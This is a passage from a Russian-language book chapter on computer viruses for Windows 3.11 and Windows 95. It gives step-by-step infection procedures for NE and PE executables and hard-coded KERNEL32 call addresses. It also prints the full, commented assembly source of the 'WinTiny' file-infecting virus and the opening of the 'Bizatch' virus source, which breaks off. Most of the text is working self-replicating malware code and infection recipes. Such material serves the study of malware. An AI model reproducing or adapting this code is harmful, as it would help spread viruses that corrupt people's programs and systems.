7. Если файл уже инфицирован, перейти к пункту 3.
   8. Считать в буфер из начала найденного файла фрагмент программы, по длине равный телу вируса.
   9. Записать в начало файла тело вируса из буфера.
   10. Дописать в конец файла считанное начало программы из буфера. Длина программы увеличилась на длину вируса.
   11. Закрыть файл-жертву.
   12. Открыть файл, из которого стартовали.
   13. Считать в буфер начало инфицированной программы, расположенное в конце файла.
   14. Записать считанное начало программы поверх кода вируса в начало файла.
   15. Сократить файл до его оригинальной длины (то есть удалить часть кода, по длине равную длине тела вируса, в конце файла).
   16. Закрыть файл.
   17. Процедурой Exec запустить стартовый файл (ParamStr(O)) на исполнение – выполнится инфицированная программа.
   18. После завершения работы программы опять открыть стартовый файл.
   19. Записать в начало файла тело вируса, а оригинальное начало программы опять переместить в конец файла.
   20. Закрыть файл.
   21. Вернуть управление в DOS.

Глава 3
Вирусы под Windows

   В этой главе рассказано о вирусах, заражающих файлы в операционной среде Windows. Наиболее подробно рассмотрены вирусы под Windows 95. Представлены исходные тексты вирусов с подробными комментариями. Также приведены основные сведения о запускаемых файлах программ под Windows, их структуре, отличиях от файлов DOS.

Вирусы под Windows 3.11

   В исполняемом файле Windows содержатся в различных комбинациях код, данные и ресурсы. Ресурсы – это BIN-данные для прикладных программ. Учитывая возможность запуска файла из DOS, формат данных должен распознаваться обеими системами – и DOS, и Windows. Для этого все исполняемые файлы под Windows содержат два заголовка. Первый заголовок (старый) – распознается DOS как программа, выводящая на экран «This program requires Microsoft Windows». Второй заголовок (NewEXE) – для работы в Windows (см. приложение).
   Как же заразить Windows NewEXE? На первый взгляд файл формата WinNE – обычный EXE-файл. Начинается он с заголовка EXE для DOS и программы (STUB), которая выводит сообщение «This program requires Microsoft Windows».
   Если в EXE-заголовке по смещению 18h стоит число 40h или больше, значит по смещению 3Ch находится смещение заголовка NewEXE. Заголовок NewEXE начинается с символов «NE». Далее идет собственно заголовок, в котором содержатся различные данные, в том числе адреса смещений таблиц сегментов, ресурсов и другие. После заголовка расположена таблица сегментов, за ней – все остальные таблицы, далее размещены собственно сегменты с кодом.
   Итак, порядок действий:
   1. Адрес заголовка NewEXE (DOS_Header+3Ch) уменьшается на 8.
   2. Заголовок NewEXE сдвигается на 8 байт назад.
   3. В таблицу сегментов добавляется новый элемент, описывающий сегмент вируса.
   4. CS: IP NewEXE изменяется на начало вирусного кода, само тело вируса дописывается в конец файла.
   Для загрузки в память (надо перехватить вектор INT 21 h из-под Windows) необходимо использовать функции DPMI (INT 31h). Действия: выделение сегмента, изменение его прав доступа, запись вируса, перехват прерывания 21h (делается с помощью функций DPMI).
   В качестве примера приведен полный исходный текст вируса под Windows. Принципы заражения такие же, как и при заражении обычного EXE-файла, – изменяется структура EXE-файла и среда, в которой он работает.
 
   .286
   .MODEL TINY
   .CODE
   ;Сохраним регистры и флаги
   pushf
   pusha
   push ds
   push es
   ;Проверим, доступен ли DPMI. Если доступен,
   ;продолжаем, если нет – выходим
   mov ax,1686h
   int 2Fh
   or ax,ax
   jz dpmi_exist
   ;Восстановим регистры и флаги
   exit:
   pop es
   pop ds
   popa
   popf
   ;Запустим программу−носитель
   db 0EAh
   relocIP dw 0
   relocCS dw 0FFFFh
   dpmi_exist:
   ;Выделим линейный блок памяти, используя DPMI
   mov ax,0501h
   mov cx,0FFFFh
   xor bx,bx
   int 31h
   ;Сохраним индекс и 32−битный линейный адрес
   ;полученного блока памяти в стеке
   push si
   push di
   push bx
   push cx
   ;Создадим дескриптор в таблице LDT
   xor ax,ax
   mov cx,1
   int 31h
   ;В поле адреса полученного дескриптора
   ;установим адрес нужного блока памяти
   mov bx,ax
   mov ax,7
   pop dx
   pop cx
   int 31h
   ;В поле предела полученного дескриптора
   ;установим размер выделенного блока памяти
   mov ax,8
   mov dx,0FFFFh
   xor cx,cx
   int 31h
   ;В поле прав доступа полученного дескриптора установим значение,
   ;соответствующее сегменту данных, доступному для чтения и записи
   mov ax,9
   mov cl,11110010b
   xor ch,ch
   int 31h
   ;Загрузим селектор в регистр DS. После этого регистр DS будет
   ;указывать на выделенный блок памяти
   mov ds,bx
   ;Читаем из стека и сохраняем в памяти
   ;индекс полученного блока памяти
   pop [mem_hnd+2]
   pop [mem_hnd]
   ;Получим текущую DTA
   mov ah,2Fh
   int 21h
   mov [DTA],bx
   mov [DTA+2],es
   ;Найдем первый EXE−файл (маска *.EXE)
   mov ah,4Eh
   xor cx,cx
   mov dx,OFFSET wild_exe
   push ds
   push cs
   pop ds
   int 21h
   pop ds
   ;Если файл найден, перейдем к заражению, иначе освободим
   ;выделенную область памяти и запустим программу−носитель
   jnc found_exe
   ;Освободим выделенную область памяти
   call free
   ;Запустим программу−носитель
   jmp exit
   ;Перейдем к следующему файлу – этот не подходит
   close_exe:
   ;Закроем файл
   mov ah,3Eh
   int 21h
   ;Найдем следующий файл
   mov ah,4Fh
   int 21h
   ;Если файл найден, перейдем к заражению, иначе освободим
   ;выделенную область памяти и запустим программу−носитель
   jnc found_exe
   ;Освободим выделенную область памяти
   call free
   ;Запустим программу−носитель
   jmp exit
   ;Файл найден, проверим его на пригодность к заражению
   found_exe:
   ;Откроем файл для чтения и записи
   push ds
   lds dx,DWORD PTR [DTA]
   add dx,1Eh
   mov ax,3D02h
   int 21h
   pop ds
   ;Прочтем старый заголовок
   mov dx,OFFSET old_hdr
   mov bx,ax
   mov cx,40h
   mov ah,3Fh
   int 21h
   ;Проверим сигнатуру, это EXE−файл?
   cmp WORD PTR [old_hdr],”ZM”
   jne close_exe
   ;Проверим смещение таблицы настройки адресов.
   ;Если значение больше 40h, то это не обычный EXE−файл.
   ;Не будем сразу делать вывод,
   ;что это NewEXE, потому что это может оказаться
   ;PE−, LE−, LX−executable или другой
   ;(PE−executable описан в разделе,
   ;посвященном Windows 95, остальные
   ;типы EXE−файлов в этой книге не рассматриваются)
   cmp [old_hdr+18h],WORD PTR 40h
   jb close_exe
   ;Перейдем ко второму заголовку (может быть, это NewEXE?):
   ;Переводим указатель к смещению, обозначенному в поле 3Ch
   mov dx,WORD PTR [old_hdr+3Ch]
   mov cx,WORD PTR [old_hdr+3Eh]
   mov ax,4200h
   int 21h
   ;Прочитаем второй заголовок
   mov dx,OFFSET new_hdr
   mov cx,40h
   mov ah,3fh
   int 21h
   ;Проверим сигнатуру, если сигнатура ”NE”, то это NewEXE−файл
   cmp WORD PTR [new_hdr],”EN”
   jne close_exe
   ;Проверим, для Windows ли предназначен этот файл. Если да, будем
   ;заражать, иначе переходим к следующему файлу
   mov al,[new_hdr+36h]
   and al,2
   jz close_exe
   ;Переместим указатель чтения/записи в таблицу сегментов,
   ;к элементу, обозначающему сегмент точки старта программы.
   ;Для этого прочтем значение регистра CS при запуске
   ;этого EXE−файла
   mov dx,WORD PTR [new_hdr+16h]
   ;По номеру сегмента вычислим положение соответствующего ему
   ;элемента в таблице сегментов
   dec dx
   shl dx,3
   ;К результату прибавим смещение таблицы сегментов и смещение
   ;заголовка NewEXE
   add dx,WORD PTR [new_hdr+22h]
   add dx,WORD PTR [old_hdr+3ch]
   mov cx,WORD PTR [old_hdr+3eh]
   ;Переместим указатель чтения/записи
   mov ax,4200h
   int 21h
   ;Прочтем из таблицы сегментов смещение логического сектора
   mov dx,OFFSET temp
   mov cx,2
   mov ah,3Fh
   int 21h
   ;Вычислим смещение сегмента, опираясь на значения
   ;смещения логического сектора и множителя секторов
   mov dx,WORD PTR [temp]
   mov cx,WORD PTR [new_hdr+32h]
   xor ax,ax
   cal_entry:
   shl dx,1
   rcl ax,1
   loop cal_entry
   ;Переместим 16 старших бит 32−битного результата в регистр CX
   mov cx,ax
   ;Прибавим к результату смещение стартового адреса (IP)
   add dx,WORD PTR [new_hdr+14h]
   adc cx,0
   ;Переместим указатель позиции чтения/записи на точку старта
   ;программы – результат вычисления
   mov ax,4200h
   int 21h
   ;Считаем первые 10 байт после старта программы
   mov dx,OFFSET temp
   mov cx,10h
   mov ah,3Fh
   int 21h
   ;Проверим, заражен ли файл. Если считанные 10 байт в точности
   ;совпадают с первыми 10−ю байтами нашего вируса, файл заражен.
   ;В этом случае переходим к поиску следующего, иначе – заражаем
   mov si,OFFSET temp
   push cs
   pop es
   xor di,di
   mov cx,8
   cld
   rep cmpsw
   jne ok_to_infect
   jmp close_exe
   ;Приступим к заражению
   ok_to_infect:
   ;Переместим NE−заголовок на 8 байт ближе к началу файла.
   ;Исправим соответствующие поля старого заголовка
   sub WORD PTR [old_hdr+10h],8
   sub WORD PTR [old_hdr+3ch],8
   sbb WORD PTR [old_hdr+3eh],0
   ;Исправим значения таблиц в новом заголовке, чтобы переместились
   ;только заголовок и таблица сегментов (без остальных таблиц)
   add WORD PTR [new_hdr+4],8
   add WORD PTR [new_hdr+24h],8
   add WORD PTR [new_hdr+26h],8
   add WORD PTR [new_hdr+28h],8
   add WORD PTR [new_hdr+2ah],8
   ;Сохраним оригинальные значения точек входа CS и IP
   push WORD PTR [new_hdr+14h]
   pop [host_ip]
   push WORD PTR [new_hdr+16h]
   pop [host_cs]
   ;Добавим еще один сегмент в таблицу сегментов и установим
   ;точку входа на его начало
   mov WORD PTR [new_hdr+14h],0
   inc WORD PTR [new_hdr+1ch]
   push WORD PTR [new_hdr+1ch]
   pop WORD PTR [new_hdr+16h]
   ;Переместим указатель чтения/записи в начало файла
   ;(к старому заголовку)
   xor cx,cx
   xor dx,dx
   mov ax,4200h
   int 21h
   ;Запишем старый заголовок, так как модифицированы
   ;некоторые поля его копии в памяти
   mov dx,OFFSET old_hdr
   mov cx,40h
   mov ah,40h
   int 21h
   ;Переместим указатель чтения/записи на начало нового
   ;заголовка (его переместили на 8 байт к началу файла)
   mov dx,WORD PTR [old_hdr+3ch]
   mov cx,WORD PTR [old_hdr+3eh]
   mov ax,4200h
   int 21h
   ;Запишем новый заголовок, так как в его копии
   ;в памяти некоторые поля модифицированы
   mov dx,OFFSET new_hdr
   mov cx,40h
   mov ah,40h
   int 21h
   ;Переместим указатель чтения/записи на 8 байт
   ;вперед – к началу таблицы сегментов
   xor cx,cx
   mov dx,8
   mov ax,4201h
   int 21h
   ;Рассчитаем размер таблицы сегментов и считаем ее в память
   mov dx,OFFSET temp
   mov cx,WORD PTR [new_hdr+1ch]
   dec cx
   shl cx,3
   push cx
   mov ah,3Fh
   int 21h
   ;Переместим указатель чтения/записи назад, к позиции
   ;за 8 байт перед началом таблицы сегментов
   pop dx
   push dx
   add dx,8
   neg dx
   mov cx,–1
   mov ax,4201h
   int 21h
   ;Запишем таблицу сегментов в файл, но не на ее прежнее место,
   ;а на 8 байт ближе к началу файла
   mov dx,OFFSET temp
   pop cx
   mov ah,40h
   int 21h
   ;Прочтем текущую позицию чтения/записи (конец таблицы сегментов)
   xor cx,cx
   xor dx,dx
   mov ax,4201h
   int 21h
   ;Сохраним в стеке текущую позицию чтения/записи
   push dx
   push ax
   ;Получим длину файла, переместив указатель
   ;чтения/записи в конец файла
   xor cx,cx
   xor dx,dx
   mov ax,4202h
   int 21h
   ;Сохраним в стеке длину файла
   push dx
   push ax
   ;Вычислим и сохраним длину логического сектора
   mov cx,WORD PTR [new_hdr+32h]
   mov ax,1
   shl ax,cl
   mov [log_sec_len],ax
   ;Вычислим длину файла в логических секторах
   mov cx,ax
   pop ax
   pop dx
   div cx
   ;Учтем неполный сектор. Если в результате получился
   ;остаток, увеличим количество секторов
   or dx,dx
   jz no_rmd
   inc ax
   no_rmd:
   ;Заполним поля нового элемента в таблице сегментов
   mov [my_seg_entry],ax
   mov [my_seg_entry+2],OFFSET vir_end
   mov [my_seg_entry+4],180h
   mov [my_seg_entry+6],OFFSET vir_end
   ;Восстановим из стека позицию в файле конца таблицы секторов
   pop dx
   pop cx
   ;Переместим указатель чтения/записи к этой позиции
   mov ax,4200h
   int 21h
   ;Запишем в конец таблицы новый элемент
   mov dx,OFFSET my_seg_entry
   mov cx,8
   mov ah,40h
   int 21h
   ;Скопируем тело вируса в область памяти, которую выделили
   ;в начале программы, для изменений в нем. В защищенном режиме
   ;(а работаем именно в нем), нельзя производить запись в сегмент
   ;кода. Если по какой−то причине нужно произвести изменение
   ;в сегменте кода, создается алиасный дескриптор данных
   ;(дескриптор, содержащий то же смещение и длину,
   ;что и сегмент кода), и дальнейшая работа ведется с ним.
   ;В данном случае просто воспользуемся выделенным блоком памяти
   push ds
   pop es
   push cs
   pop ds
   xor si,si
   mov di,OFFSET temp
   mov cx,OFFSET vir_end
   cld
   rep movsb
   push es
   pop ds
   ;Инициализируем адрес точки входа
   mov si,OFFSET temp
   mov WORD PTR [si+relocIP],0
   mov WORD PTR [si+relocCS],0FFFFh
   ;Переместим указатель чтения/записи на новую точку входа
   mov ax,[my_seg_entry]
   mov cx,[log_sec_len]
   mul cx
   mov cx,dx
   mov dx,ax
   mov ax,4200h
   int 21h
   ;Запишем тело вируса в файл
   mov dx,OFFSET temp
   mov cx,OFFSET vir_end
   mov ah,40h
   int 21h
   ;Инициализируем поля перемещаемого элемента
   mov WORD PTR [reloc_data],1
   mov BYTE PTR [reloc_data+2],3
   mov BYTE PTR [reloc_data+3],4
   mov WORD PTR [reloc_data+4],OFFSET relocIP
   ;Запишем перемещаемый элемент
   mov dx,OFFSET reloc_data
   mov cx,10
   mov ah,40h
   int 21h
   ;Закроем файл
   mov ah,3Eh
   int 21h
   ;Освободим выделенный блок памяти
   call free
   ;Запустим программу−носитель
   jmp exit
   ;Процедура, освобождающая выделенный блок памяти
   free PROC NEAR
   mov ax,0502h
   mov si,[mem_hnd]
   mov di,[mem_hnd+2]
   int 31h
   ret
   free ENDP
   ;Маска для поиска файлов
   wild_exe DB ”*.EXE”,0
   ;Имя вируса
   DB ”WinTiny”
   ;Идентификатор, указывающий на конец инициализированных данных
   vir_end:
   ;Индекс выделенного блока памяти
   mem_hnd DW ?
   DW ?
   ;Адрес текущей DTA
   DTA DW ?
   DW ?
   ;Место для хранения старого заголовка
   old_hdr DB 40h dup (?)
   ;Место для хранения нового заголовка
   new_hdr DB 40h dup (?)
   ;Длина логического номера сектора
   log_sec_len DW ?
   ;Новый элемент в таблице сегментов
   my_seg_entry DW ?
   DW ?
   DW ?
   DW ?
   ;Перемещаемый элемент
   reloc_data DW ?
   DB ?
   DB ?
   DW ?
   ;Значение оригинальной точки входа
   host_cs DW ?
   host_ip DW ?
   ;Область памяти для использования
   temp DB ?
   END

Вирусы под Windows 95

   Формат Portable Executable используется Win32, Windows NT и Windows 95, что делает его очень популярным, и в будущем, возможно, он станет доминирующим форматом EXE. Этот формат значительно отличается от NE-executable, используемого в Windows 3.11.

Вызов Windows 95 API

   Обычные приложения вызывают Windows 95 API (Application Program Interface) используя таблицу импортируемых имен. Когда приложение загружено, данные, необходимые для вызова API, заносятся в эту таблицу. В Windows 95, благодаря предусмотрительности фирмы-производителя Microsoft, модифицировать таблицу импортируемых имен невозможно.
   Эта проблема решается непосредственным вызовом KERNEL32. То есть необходимо полностью игнорировать структуру вызова и перейти непосредственно на точку входа DLL.
   Чтобы получить описатель (Handle) DLL/EXE, можно использовать вызов API GetModuleHandle или другие функции для получения точек входа модуля, включая функцию получения адреса API GetProcAddress. Как вызывать API, имея возможность вызывать его и в то же время такой возможности не имея? Ответ: вызывать API, расположение которого в памяти известно – это API в файле KERNEL32.DLL, он находится по постоянному адресу.
   Вызов API приложениями выглядит приблизительно так:
 
   call API_FUNCTION_NAME
 
   например:
 
   call CreateFileA
 
   После компиляции этот вызов выглядит так:
 
   db 9Ah ;инструкция call
   dd ???? ;смещение в таблице переходов
 
   Код в таблице переходов похож на такой:
 
   jmp far [offset into import table]
 
   Смещение в таблице импортируемых имен содержит адрес диспетчера для данной функции API. Этот адрес можно получить с помощью GetProcAddress API. Диспетчер функций выглядит так:
 
   push function value
   call Module Entrypoint
 
   Зная точки входа, можно вызывать их напрямую, минуя таблицу этого модуля. Поэтому можно заменить вызовы KERNEL32.DLL в его стандартной точке на вызовы непосредственно функций. Просто сохраняем в стеке значение функции и вызываем точку входа в модуль.
   Модуль KERNEL32 располагается в памяти статически – именно так и предполагалось. Но конкретное место его расположения в разных версиях Windows 95 отличается. Это было проверено. Оказалось, что одна функция (получение времени/даты) отличается номером. Для компенсации этих различий добавлена проверка двух различных мест на наличие KERNEL32. Но если KERNEL32 все-таки не найден, вирус возвращает управление программе-носителю.

Адреса и номера функций

   Для June Test Release KERNEL32 находится по адресу 0BFF93B95h, для August Release – по адресу 0BFF93C1Dh. Можно найти другие значения функции, используя 32-битный отладчик. В таблице 3.1 приведены адреса функций, которые нужны для работы вируса.
Таблица 3.1. Адреса некоторых функций KERNEL

Соглашения о вызовах

   Windows 95 написан на языках C++ (в основном) и Assembler. И, хотя соглашения о вызовах просты для применения, Microsoft их не использует. Все API под Win95 используют Pascal Calling Convention. Пример – API, описанный в файлах справки Visual C++:
 
   FARPROC GetProcAddress(
   HMODULE hModule, // описатель DLL−модуля
   LPCSTR lpszProc // имя функции
   );
 
   На первый взгляд кажется, что достаточно лишь сохранить в стеке описатель DLL-модуля (он стоит перед указателем на имя функции) и вызвать API. Но это не так. Параметры, согласно Pascal Calling Convention, должны быть сохранены в стеке в обратном порядке:
 
   push offset lpszProc
   push dword ptr [hModule]
   call GetProcAddress
 
   Используя 32-битный отладчик, можно оттрассировать вызов и найти вызов KERNEL32 для каждого конкретного случая. Это позволит получить номер функции и обойтись без необходимой для вызова таблицы импортируемых имен.

Заражение файлов формата PE-executable

   Определение положения начала PE-заголовка происходит аналогично поиску начала NE-заголовка. Если смещение таблицы настройки адресов (поле 18h) в заголовке EXE-файла 40h или больше, то по смещению 3Ch находится смещение PE-executable заголовка. Сигнатура PE-executable («PE») находится, как и у NE-executable EXE-файла, в начале нового заголовка.
   Внутри PE-заголовка находится таблица объектов. Ее формат наиболее важен по сравнению с прочими. Для добавления вирусного кода в носитель и перехвата вирусом управления необходимо добавить элемент в таблицу объектов.
   Основные действия заражения PE-executable файла:
   1. Найти смещение заголовка PE-executable в файле.
   2. Считать достаточное количество информации из заголовка для вычисления его полного размера.
   3. Считать весь PE-заголовок и таблицу объектов.
   4. Добавить новый объект в таблицу объектов.
   5. Установить точку входа RVA на новый объект.
   6. Дописать вирус к файлу по вычисленному физическому смещению.
   7. Записать измененный PE-заголовок в файл.
   Для определения расположения таблицы объектов следует воспользоваться значением переменной «HeaderSize» (не путать с «NT headersize»), которая содержит совместный размер заголовков DOS, PE и таблицы объектов.
   Для чтения таблицы объектов необходимо считать HeaderSize байт от начала файла.
   Таблица объектов расположена непосредственно за NT-заголовком. Значение «NTheadersize» показывает количество байт, следующих за полем «flags». Итак, для определения смещения таблицы объектов нужно получить NTheaderSize и добавить размер поля флагов (24).
   Добавление объекта: получив количество объектов, умножить его на 40 (размер элемента таблицы объектов). Таким образом определяется смещение, по которому будет расположен вирус.
   Данные для элемента таблицы объектов должны быть вычислены с использованием информации в предыдущем элементе (элементе носителя).
 
   RVA=((prev RVA+prev Virtual Size)/OBJ Alignment+1)
   *OBJ Alignment
   Virtual Size=((size of virus+buffer any space)/OBJ Alignment+1)
   *OBJ Alignment
   Physical Size=(size of virus/File Alignment+1)*File Alignment
   Physical Offset=prev Physical Offset+prev Physical Size
   Object Flags=db 40h,0,0,C0h
   Entrypoint RVA=RVA
 
   Теперь необходимо увеличить на единицу поле «количество объектов» и записать код вируса по вычисленному «физическому смещению» в размере «физического размера» байт.

Пример вируса под Windows 95

   .386
   locals
   jumps
   .model flat,STDCALL
   include win32.inc ;некоторые 32−битные константы и структуры
   L equ <LARGE>
   ;Определим внешние функции, к которым будет подключаться вирус
   extrn BeginPaint:PROC
   extrn CreateWindowExA:PROC
   extrn DefWindowProcA:PROC
   extrn DispatchMessageA:PROC
   extrn EndPaint:PROC
   extrn ExitProcess:PROC
   extrn FindWindowA:PROC
   extrn GetMessageA:PROC
   extrn GetModuleHandleA:PROC
   extrn GetStockObject:PROC
   extrn InvalidateRect:PROC
   extrn LoadCursorA:PROC
   extrn LoadIconA:PROC
   extrn MessageBeep:PROC
   extrn PostQuitMessage:PROC
   extrn RegisterClassA:PROC
   extrn ShowWindow:PROC
   extrn SetWindowPos:PROC
   extrn TextOutA:PROC
   extrn TranslateMessage:PROC
   extrn UpdateWindow:PROC
   ;Для поддержки Unicode Win32 интерпретирует некоторые функции
   ;для ANSI или расширенного набора символов.
   ;В качестве примера рассмотрим ANSI
   CreateWindowEx equ <CreateWindowExA>
   DefWindowProc equ <DefWindowProcA>
   DispatchMessage equ <DispatchMessageA>
   FindWindow equ <FindWindowA>
   GetMessage equ <GetMessageA>
   GetModuleHandle equ <GetModuleHandleA>
   LoadCursor equ <LoadCursorA>
   LoadIcon equ <LoadIconA>
   MessageBox equ <MessageBoxA>
   RegisterClass equ <RegisterClassA>
   TextOut equ <TextOutA>
   .data
   newhwnd dd 0
   lppaint PAINTSTRUCT <?>
   msg MSGSTRUCT <?>
   wc WNDCLASS <?>
   mbx_count dd 0
   hInst dd 0
   szTitleName db ”Bizatch by Quantum / VLAD activated”
   zero db 0
   szAlternate db ”more than once”,0
   szClassName db ”ASMCLASS32”,0
   ;Сообщение, выводимое в окне
   szPaint db ”Left Button pressed:”
   s_num db ”00000000h times.”,0
   ;Размер сообщения
   MSG_L EQU ($−offset szPaint)−1
   .code
   ;Сюда обычно передается управление от загрузчика.
   start:
   ;Получим HMODULE
   push L 0
   call GetModuleHandle
   mov [hInst],eax
   push L 0
   push offset szClassName
   call FindWindow
   or eax,eax
   jz reg_class
   ;Пространство для модификации строки заголовка
   mov [zero],” ”
   reg_class:
   ;Инициализируем структуру WndClass
   mov [wc.clsStyle],CS_HREDRAW+CS_VREDRAW+CS_GLOBALCLASS
   mov [wc.clsLpfnWndProc],offset WndProc
   mov [wc.clsCbClsExtra],0
   mov [wc.clsCbWndExtra],0
   mov eax,[hInst]
   mov [wc.clsHInstance], eax
   ;Загружаем значок
   push L IDI_APPLICATION
   push L 0
   call LoadIcon
   mov [wc.clsHIcon], eax
   ;Загружаем курсор
   push L IDC_ARROW
   push L 0
   call LoadCursor
   mov [wc.clsHCursor], eax
   ;Инициализируем оставшиеся поля структуры WndClass
   mov [wc.clsHbrBackground],COLOR_WINDOW+1
   mov dword ptr [wc.clsLpszMenuName],0
   mov dword ptr [wc.clsLpszClassName],offset szClassName
   ;Регистрируем класс окна
   push offset wc
   call RegisterClass
   ;Создаем окно
   push L 0 ;lpParam
   push [hInst] ;hInstance
   push L 0 ;Меню
   push L 0 ;hwnd родительского
   окна
   push L CW_USEDEFAULT ;Высота
   push L CW_USEDEFAULT ;Длина
   push L CW_USEDEFAULT ;Y
   push L CW_USEDEFAULT ;X
   push L WS_OVERLAPPEDWINDOW ;Style
   push offset szTitleName ;Title Style
   push offset szClassName ;Class name
   push L 0 ;extra style
   call CreateWindowEx
   ;Сохраняем HWND
   mov [newhwnd], eax
   ;Отображаем окно на экране
   push L SW_SHOWNORMAL
   push [newhwnd]
   call ShowWindow
   ;Обновляем содержимое окна
   push [newhwnd]
   call UpdateWindow
   ;Очередь сообщений
   msg_loop:
   ;Прочитаем следующее сообщение из очереди
   push L 0
   push L 0
   push L 0
   push offset msg
   call GetMessage
   ;Если функция GetMessage вернула нулевое значение, то завершаем
   ;обработку сообщений и выходим из процесса
   cmp ax,0
   je end_loop
   ;Преобразуем виртуальные коды клавиш в сообщения клавиатуры
   push offset msg
   call TranslateMessage
   ;Передаем это сообщение назад в Windows
   push offset msg
   call DispatchMessage
   ;Переходим к следующему сообщению
   jmp msg_loop
   ;Выход из процесса
   end_loop:
   push [msg.msWPARAM]
   call ExitProcess
   ;Обработка сообщений окна. Win32 требует сохранения регистров
   ;EBX, EDI, ESI. Запишем эти регистры после ”uses” в строке ”proc”.
   ;Это позволит Ассемблеру сохранить их
   WndProc proc uses ebx edi esi, hwnd:DWORD, wmsg:DWORD, wparam:
   DWORD, lparam:DWORD
   LOCAL theDC:DWORD
   ;Проверим, какое сообщение получили, и перейдем к обработке
   cmp [wmsg],WM_DESTROY
   je wmdestroy
   cmp [wmsg],WM_RBUTTONDOWN
   je wmrbuttondown
   cmp [wmsg],WM_SIZE
   je wmsize
   cmp [wmsg],WM_CREATE
   je wmcreate
   cmp [wmsg],WM_LBUTTONDOWN
   je wmlbuttondown
   cmp [wmsg],WM_PAINT
   je wmpaint
   cmp [wmsg],WM_GETMINMAXINFO
   je wmgetminmaxinfo
   ;Данная программа не обрабатывает это сообщение.
   ;Передадим его Windows,
   ;чтобы оно было обработано по умолчанию
   jmp defwndproc
   ;Сообщение WM_PAINT (перерисовать содержимое окна)
   wmpaint:
   ;Подготовим окно для перерисовки
   push offset lppaint
   push [hwnd]
   call BeginPaint
   mov [theDC], eax
   ;Переведем в ASCII−формат значение mbx_count, которое
   ;показывает, сколько раз была нажата левая кнопка мыши
   mov eax,[mbx_count]
   mov edi, offset s_num
   call HexWrite32
   ;Вывод строки в окно
   push L MSG_L ;Длина строки
   push offset szPaint ;Строка
   push L 5 ;Y
   push L 5 ;X
   push [theDC] ;DC
   call TextOut
   ;Обозначим завершение перерисовки окна
   push offset lppaint
   push [hwnd]
   call EndPaint
   ;Выходим из обработки сообщения
   mov eax, 0
   jmp finish
   ;Сообщение WM_CREATE (создание окна)
   wmcreate:
   ;Выходим из обработки сообщения
   mov eax, 0
   jmp finish
   ;Сообщение, не обрабатываемое данной программой, передаем Windows
   defwndproc:
   push [lparam]
   push [wparam]
   push [wmsg]
   push [hwnd]
   call DefWindowProc
   ;Выходим из обработки сообщения
   jmp finish
   ;Сообщение WM_DESTROY (уничтожение окна)
   wmdestroy:
   ;Закроем поток
   push L 0
   call PostQuitMessage
   ;Выходим из обработки сообщения
   mov eax, 0
   jmp finish
   ;Сообщение WM_LBUTTONDOWN (нажата левая кнопка мыши)
   wmlbuttondown:
   inc [mbx_count]
   ;Обновим содержимое окна
   push L 0
   push L 0
   push [hwnd]
   call InvalidateRect
   ;Выходим из обработки сообщения
   mov eax, 0
   jmp finish
   ;Сообщение WM_RBUTTONDOWN (нажата правая кнопка мыши)
   wmrbuttondown:
   push L 0
   call MessageBeep
   ;Выходим из обработки сообщения
   jmp finish
   ;Сообщение WM_SIZE (изменен размер окна)
   wmsize:
   ;Выходим из обработки сообщения
   mov eax, 0
   jmp finish
   ;Сообщение WM_GETMINMAXINFO (попытка изменить размер
   ;или положение окна)
   wmgetminmaxinfo:
   ;Заполним структуру MINMAXINFO
   mov ebx, [lparam]
   mov [(MINMAXINFO ptr ebx).mintrackposition_x],350
   mov [(MINMAXINFO ptr ebx).mintrackposition_y],60
   ;Выходим из обработки сообщения
   mov eax, 0
   jmp finish
   ;Выходим из обработки сообщения
   finish:
   ret
   WndProc endp
   ;Процедура перевода байта в ASCII−формат для печати. Значение,
   ;находящееся в регистре AL, будет записано в ASCII−формате